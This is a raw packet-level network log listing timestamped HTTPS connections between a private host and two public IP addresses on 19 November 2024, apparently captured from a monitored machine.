Nov 19, 2024 20:05:27.121635914 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.124480009 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.124505043 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.124608040 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.124742031 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.124757051 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.247471094 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.247536898 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.247596979 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.247812033 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.247812033 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.247833014 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.247843027 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.250905991 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.250971079 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.251055956 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.251209021 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.251239061 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.284642935 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.284717083 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.285120010 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.285284042 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.285303116 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.285315037 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.285320044 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.286335945 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.286439896 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.286614895 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.287022114 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.287040949 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.287172079 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.287178040 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.290851116 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.290890932 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.290911913 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.290936947 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.290965080 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.290992022 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.291146040 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.291162968 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.291300058 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.291318893 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.698484898 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.752556086 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.769709110 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.769741058 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.770237923 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.770251989 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.872972012 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.873051882 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.873156071 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.937480927 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.937480927 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.937546968 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.937577963 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.996459961 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.049468040 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.059046030 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.059580088 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.059636116 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.061301947 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.064587116 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.064613104 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.065045118 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.065051079 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.080144882 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.080178976 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.080281019 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.080339909 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.081217051 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.081231117 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.088685036 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.091989994 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.108877897 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.108913898 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.108921051 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.108948946 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.109363079 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.109368086 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.109411001 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.109416962 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.162266970 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.162353992 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.162467003 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.178020954 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.178184032 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.178266048 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.204674006 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.204762936 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.204973936 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.205571890 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.205631018 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.208926916 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.226831913 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.226844072 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.226854086 CET	49749	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.226861000 CET	443	49749	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.231024981 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.231038094 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.231049061 CET	49750	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.231054068 CET	443	49750	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.245266914 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.245294094 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.245305061 CET	49751	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.245310068 CET	443	49751	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.247616053 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.247616053 CET	49752	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.247638941 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.247648954 CET	443	49752	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.511564970 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.511616945 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.511691093 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.512291908 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.512332916 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.512437105 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.512622118 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.512681007 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.512732983 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.521588087 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.521608114 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.522248030 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.522273064 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.522444963 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.522463083 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.552007914 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.552104950 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.552195072 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.552670956 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:28.552704096 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:28.553862095 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.553920984 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.553926945 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.553963900 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.553972960 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.554023027 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.554641962 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.554656029 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.554728031 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.554749012 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.554950953 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.554964066 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.555006981 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.555191040 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.555201054 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.555906057 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.555943012 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.556024075 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.556173086 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.556190014 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.729434967 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.729912996 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.729931116 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.730541945 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.730561972 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.832782984 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.832859039 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.832927942 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.833391905 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.833415031 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.833672047 CET	49753	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.833681107 CET	443	49753	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.839701891 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.839737892 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:28.839802027 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.839970112 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:28.839984894 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.162914038 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.163857937 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.168757915 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.168785095 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.169055939 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.169075012 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.169855118 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.169907093 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.170171022 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.170221090 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.174211025 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.180010080 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.180022955 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181276083 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.181356907 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181530952 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.181653023 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181705952 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.181718111 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181726933 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181752920 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.181766987 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.181781054 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.182296038 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.182383060 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.182637930 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.182645082 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.184757948 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.190704107 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.190726995 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.191440105 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.191863060 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.191919088 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.192334890 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.192353964 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.193018913 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.193023920 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.194174051 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.194228888 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.194303036 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.194310904 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.198249102 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.199016094 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.199038982 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.199465990 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.199472904 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.204380989 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.209949017 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.229563951 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.229564905 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.229564905 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.236673117 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.240803957 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.240822077 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.241380930 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.241385937 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.252250910 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.252504110 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.252511024 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.253424883 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.253429890 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.298176050 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.298252106 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.298588991 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.302711010 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.302777052 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.302825928 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.343774080 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.343842030 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.343904972 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.344501019 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.344520092 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.344562054 CET	49763	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.344568968 CET	443	49763	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.345896006 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.345925093 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.345937014 CET	49762	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.345943928 CET	443	49762	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.347165108 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.347176075 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.347186089 CET	49761	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.347189903 CET	443	49761	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.350687027 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.350763083 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.351031065 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.356555939 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.356570005 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.356586933 CET	49764	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.356591940 CET	443	49764	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.359170914 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.359191895 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.359256983 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.359425068 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.359457016 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.359559059 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.360322952 CET	49766	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.360333920 CET	443	49766	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.360474110 CET	49767	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.360486031 CET	443	49767	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.373136997 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.373163939 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.373275995 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.373373032 CET	49768	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.373382092 CET	443	49768	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.456475019 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.459603071 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.459721088 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.459789991 CET	443	49755	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.459808111 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.459834099 CET	49755	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.473655939 CET	443	49765	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:29.487771034 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.487946987 CET	443	49760	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.488013029 CET	49760	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.489221096 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.489283085 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.489324093 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.489361048 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.489378929 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.489419937 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.489424944 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.489459991 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.495374918 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.495449066 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.495775938 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.495781898 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.500636101 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.500894070 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.500900984 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.503587961 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.503634930 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.503642082 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.526479006 CET	49765	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:29.565629959 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.575583935 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.579736948 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.579782963 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.579864025 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.579889059 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.579930067 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.584917068 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.591310024 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.591378927 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.591391087 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.591428041 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.592430115 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.597594976 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.612508059 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.612562895 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.612596989 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.612636089 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.612672091 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.612688065 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.616502047 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.616545916 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.616575003 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.616589069 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.616625071 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.620871067 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.626929045 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.626971960 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.626983881 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.627003908 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.627068043 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.633589029 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.638068914 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.638120890 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.638132095 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.638150930 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.638392925 CET	49757	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.646194935 CET	49756	443	192.168.2.7	142.250.185.100
Nov 19, 2024 20:05:29.646224022 CET	443	49756	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.666105986 CET	443	49757	142.250.185.100	192.168.2.7
Nov 19, 2024 20:05:29.666192055 CET	443	49757	142.250.185.100	192.168.2.7
